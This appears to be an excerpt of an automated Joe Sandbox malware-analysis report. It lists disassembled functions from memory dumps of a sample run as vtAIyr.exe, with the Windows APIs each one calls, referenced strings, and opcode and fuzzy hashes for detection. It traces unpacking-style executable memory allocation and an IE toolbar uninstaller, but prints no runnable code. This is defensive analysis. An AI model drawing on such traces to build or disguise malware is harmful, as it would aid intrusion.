Opcode Fuzzy Hash: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction Fuzzy Hash: 9071A13260CA81C6E7608B66944477D7BA2EB46FA8F0481F7EE8D47AA9CB2CD551C740

Function 00007FFE1A526298 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE1A526342
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFE1A52636B

Strings

csm, xrefs: 00007FFE1A52646B

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction ID: b7004a15b4d1842242fac45c0df9202b6a9fec25d99e7a016e8db07131ddf7c5
Opcode Fuzzy Hash: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction Fuzzy Hash: E1514D3671DB41D6D620AF56A08027D77A5FB8AFA0F1005BAEB8D07B66CF38E451CB40

Function 00007FFE1A52EA8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFE1A52EBA3
GetLastError.KERNEL32 ref: 00007FFE1A52EBC5

Strings

U, xrefs: 00007FFE1A52EB4F

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction ID: 78b8118ca54f4ef92e5c1d15ece2bc99dc9f4cb1bebe61393e0ed2e4875b7def
Opcode Fuzzy Hash: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction Fuzzy Hash: 4B419162B1DA4185DB20CF66E4443BA67A1FB99BA4F4441B3EE4E877A4EF3CD441CB40

Function 0000000140012523 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000000014001256D
RaiseException.KERNEL32 ref: 000000014001258A

Strings

csm, xrefs: 00000001400125BE

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ExceptionRaise
String ID: csm
API String ID: 3997070919-1018135373
Opcode ID: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction ID: 49e9958dea4625aba6399e71a496f31833793ec74c7c4936f150dd50c3eb5df3
Opcode Fuzzy Hash: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction Fuzzy Hash: 1D315036204A8082D771CF16E09079EB365F78C7E4F544111EF9A077B5DB3AD892CB41

Function 00007FFE1A530910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A523A38: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFE1A523A63

__GSHandlerCheckCommon.LIBCMT ref: 00007FFE1A530993

Strings

f, xrefs: 00007FFE1A530925
csm, xrefs: 00007FFE1A53092B

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CheckCommonHandler__except_validate_context_record
String ID: csm$f
API String ID: 1543384424-629598281
Opcode ID: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction ID: 921f97f8fe312fb499cd4aaf29b79987da6eb5f9f5e0fdf60b13b98b89ae6791
Opcode Fuzzy Hash: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction Fuzzy Hash: CF11B172B18B95C5E7549F63A4411B96764EF86FE4F0880F6EE8907B66CE38D861C700

Function 0000000140003620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003665
#4.VSELOG ref: 00000001400036AC

Strings

amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 000000014000368F

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-484248852
Opcode ID: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction ID: 814455377fd743a09d1ce94c7697c2570c7384a68551c8a3e3690f56dccab0e4
Opcode Fuzzy Hash: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction Fuzzy Hash: 25114975608B4082EB21CF16B84079AB7A4F79DBD4F544225FF8847B79DB39C5508B40

Function 00007FFE1A523990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFE1A52112F), ref: 00007FFE1A5239E0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFE1A52112F), ref: 00007FFE1A523A21

Strings

csm, xrefs: 00007FFE1A523A0E

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction ID: 7e6db98a56b2ff1256b49420e600e3f5e89194a7dfe0e439cb67f813646b9d0d
Opcode Fuzzy Hash: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction Fuzzy Hash: B511193261CF8182EB218F16E44026977E5FB89BA4F5842B2EA8D07B69DF3CD551CB00

Function 00000001400036E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003725
#4.VSELOG ref: 0000000140003762

Strings

amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 0000000140003745

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-3336177065
Opcode ID: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction ID: 709d983207ec740d9f2c7308925ee729c80a4ac6442fb255827ec98b57545574
Opcode Fuzzy Hash: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction Fuzzy Hash: 731170B2614B8082D711CF16F480B9AB7A4F38CBE4F444216BF9C47B68CF78C5508B40

Function 00000001400137D0 Relevance: 5.0, APIs: 4, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400137EB
HeapFree.KERNEL32 ref: 00000001400137FD
GetProcessHeap.KERNEL32 ref: 0000000140013820
HeapFree.KERNEL32 ref: 0000000140013832

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction ID: 86a4b35954e85bb75ec39e114bccfc50e282ec3ca0152174d73c8df7cd9b4be4
Opcode Fuzzy Hash: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction Fuzzy Hash: ADF07FB4615B4481FB078FA7B84479422E5EB4DBC0F481028AB494B3B0DF7A80998710

Analysis Process: vtAIyr.exePID: 3660, Parent PID: 1228COMMON

Executed Functions

Function 024A017F Relevance: 2.8, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 024A01DF

Memory Dump Source

Source File: 00000027.00000003.2655434399.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_3_24a0000_vtAIyr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 21259a6d3553e0a9774d842f5e7c433a2097250ad7e08b3a2490c48018f34335
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: 59A15971A00606EFDB14CFA9C8A0BAEB7B5FF58308F1491AAE415DB351D770EA51CB90

Function 024A044B Relevance: 2.6, APIs: 2, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 024A048B
VirtualFree.KERNELBASE(?,?,00004000), ref: 024A04F1

Memory Dump Source

Source File: 00000027.00000003.2655434399.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_3_24a0000_vtAIyr.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction ID: b429afbc973fe8ad6f7399016aae792b10d07d0dd8bc79bc29ae3e952cb38dd8
Opcode Fuzzy Hash: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction Fuzzy Hash: 67212B75A00305BBCB209FA48C91FAFB7F9FF14314F108429EA0AE2281D731A911DB60

Non-executed Functions

Function 024A00CD Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

ntdl, xrefs: 024A0142
l, xrefs: 024A0149

Memory Dump Source

Source File: 00000027.00000003.2655434399.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_3_24a0000_vtAIyr.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction ID: d1459c37b722d06a884f92df2ee387ccbcf51bd90700b63227e0a86b0e89aa64
Opcode Fuzzy Hash: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction Fuzzy Hash: 69118BB5B04A01AFDB15AF19D419A0EBBF6FF88710B21815EE009D7710EB34AA218FD5

Function 024A0643 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

ntdl, xrefs: 024A0684
l, xrefs: 024A068E

Memory Dump Source

Source File: 00000027.00000003.2655434399.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_3_24a0000_vtAIyr.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction ID: 875ddfeeae9e7323b3804a5faf3b12d7044b7154e4a1c8debfd3ab44c0c4c88a
Opcode Fuzzy Hash: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction Fuzzy Hash: D3018472B00214AFCB14DF99C855EAEFBB9EF99754F04409AF904A7360DA70DE049BA1

Analysis Process: vtAIyr.exePID: 4144, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	1048
Total number of Limit Nodes:	29

Executed Functions

Function 00C31000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00C31006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00C31013
GetLastError.KERNEL32 ref: 00C3101F
GetCommandLineW.KERNEL32(?), ref: 00C31040
CommandLineToArgvW.SHELL32(00000000), ref: 00C31047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00C31061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00C31073
LoadLibraryW.KERNELBASE(?), ref: 00C31085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00C31097
FreeLibrary.KERNELBASE(00000000), ref: 00C310A4
CloseHandle.KERNELBASE(00000000), ref: 00C310AB
CoUninitialize.COMBASE ref: 00C310B1
LocalFree.KERNEL32(00000000), ref: 00C310BC

Strings

tbcore3.dll, xrefs: 00C3105C, 00C31067
tbcore3U.dll, xrefs: 00C3106E, 00C31079
Global\IEToolbarUninstaller, xrefs: 00C3100C
MyUnregisterServer, xrefs: 00C31091

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 39342c6733973e7651e19731020efbc190651d6a7494111874b0229f473f9f0f
Instruction ID: 0243ca6c0da453b5a04ee97bf3172a6e208d12e230f27cf1d86b3b6f8faa4a94
Opcode Fuzzy Hash: 39342c6733973e7651e19731020efbc190651d6a7494111874b0229f473f9f0f
Instruction Fuzzy Hash: 7B11D3B2625755EF8328ABA0AC48B9F379CEE44751F080525F942D2050CF618A49C7F2

Function 00C31465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00C3146D

Part of subcall function 00C3143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00C31472,?,?,00C354EE,000000FF,0000001E,?,00C336FC,?,00000001,?,?,00C32A2A,00000018), ref: 00C31444
Part of subcall function 00C3143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C31454

ExitProcess.KERNEL32 ref: 00C31476

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 84a27e6e6e1d6fb8ac87e924e627571f86392499f5ac1672a086b73dc71a6cb0
Instruction ID: 943967cbecc717581045f3c65db859c885518bdac387ede132db57dd11d33702
Opcode Fuzzy Hash: 84a27e6e6e1d6fb8ac87e924e627571f86392499f5ac1672a086b73dc71a6cb0
Instruction Fuzzy Hash: 42B09231014248BFDB062F12DC0AA4D3F2AFB803A0B648820F80849071DF72ADA6AA90

Function 00C3261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00C32630

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 470ddaf83ac456c228e07cd7e2d04bdbc925062b7855c53b63fa1a64a722ea05
Instruction ID: b294286eb74c3af3a5d377f67bd15a226660f29d8aa85be075f9f59d89b8f9b3
Opcode Fuzzy Hash: 470ddaf83ac456c228e07cd7e2d04bdbc925062b7855c53b63fa1a64a722ea05
Instruction Fuzzy Hash: 99D0A7325743445EDB009F717C4972A3BDCD784795F108435BA0CC6161F670C994CE04

Function 00C31681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00C3168D

Part of subcall function 00C31555: __lock.LIBCMT ref: 00C31563
Part of subcall function 00C31555: __decode_pointer.LIBCMT ref: 00C3159A
Part of subcall function 00C31555: __decode_pointer.LIBCMT ref: 00C315AF
Part of subcall function 00C31555: __decode_pointer.LIBCMT ref: 00C315D9
Part of subcall function 00C31555: __decode_pointer.LIBCMT ref: 00C315EF
Part of subcall function 00C31555: __decode_pointer.LIBCMT ref: 00C315FC
Part of subcall function 00C31555: __initterm.LIBCMT ref: 00C3162B
Part of subcall function 00C31555: __initterm.LIBCMT ref: 00C3163B

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: 622ea9184fa9c3eba17587411204fc9cff2f84f758a8a57c91d977ee160d741b
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D5B0923259020837DB202A86AC03F063A0987C0BA0E290020FA0D191E1A9A2A961908A

Non-executed Functions

Function 00C310CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00C31346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C3135B
UnhandledExceptionFilter.KERNEL32(00C3816C), ref: 00C31366
GetCurrentProcess.KERNEL32(C0000409), ref: 00C31382
TerminateProcess.KERNEL32(00000000), ref: 00C31389

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8219f53ea50e871abc8c2d630be9d4b12cff87d5a73abeb213179bd46ae5fa19
Instruction ID: 1ef60cc8d2dee45199584296b5382c43cde1d8a655d5b1d1d34d32e8fbc97a2a
Opcode Fuzzy Hash: 8219f53ea50e871abc8c2d630be9d4b12cff87d5a73abeb213179bd46ae5fa19
Instruction Fuzzy Hash: 0E21ADB49213049FC754DF29FD8875C3BB0BB18342F50501AE58987A70EBB959A9CF46

Function 00C321E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00C39458,0000000C,00C32320,00000000,00000000,?,00C3174F,00000003,?,?,?,?,?,?,00C310F6), ref: 00C321F7
__crt_waiting_on_module_handle.LIBCMT ref: 00C32202

Part of subcall function 00C313E1: Sleep.KERNEL32(000003E8,00000000,?,00C32148,KERNEL32.DLL,?,00C32194,?,00C3174F,00000003), ref: 00C313ED
Part of subcall function 00C313E1: GetModuleHandleW.KERNEL32(?,?,00C32148,KERNEL32.DLL,?,00C32194,?,00C3174F,00000003,?,?,?,?,?,?,00C310F6), ref: 00C313F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00C3222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00C3223B
__lock.LIBCMT ref: 00C3225D
InterlockedIncrement.KERNEL32(00C3A4D8), ref: 00C3226A
__lock.LIBCMT ref: 00C3227E
___addlocaleref.LIBCMT ref: 00C3229C

Strings

DecodePointer, xrefs: 00C32233
EncodePointer, xrefs: 00C3221F
KERNEL32.DLL, xrefs: 00C321F1, 00C321F6, 00C32201

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 8a919f968ff33ed642b5301ed4efc032241540041680655c871c63ead39c3dc5
Instruction ID: f86fbae46fc362677bd4ee244d0585ae38e1e4e7341b24f53b7e27e4cac6e786
Opcode Fuzzy Hash: 8a919f968ff33ed642b5301ed4efc032241540041680655c871c63ead39c3dc5
Instruction Fuzzy Hash: 8B11B4B1960701AFDB20EF75DC45B4EBBF0AF14320F104519F499932A1CB709A44AF25

Function 00C340A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00C340AC

Part of subcall function 00C32345: __getptd_noexit.LIBCMT ref: 00C32348
Part of subcall function 00C32345: __amsg_exit.LIBCMT ref: 00C32355

__amsg_exit.LIBCMT ref: 00C340CC
__lock.LIBCMT ref: 00C340DC
InterlockedDecrement.KERNEL32(?), ref: 00C340F9
InterlockedIncrement.KERNEL32(00DE2AF0), ref: 00C34124

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

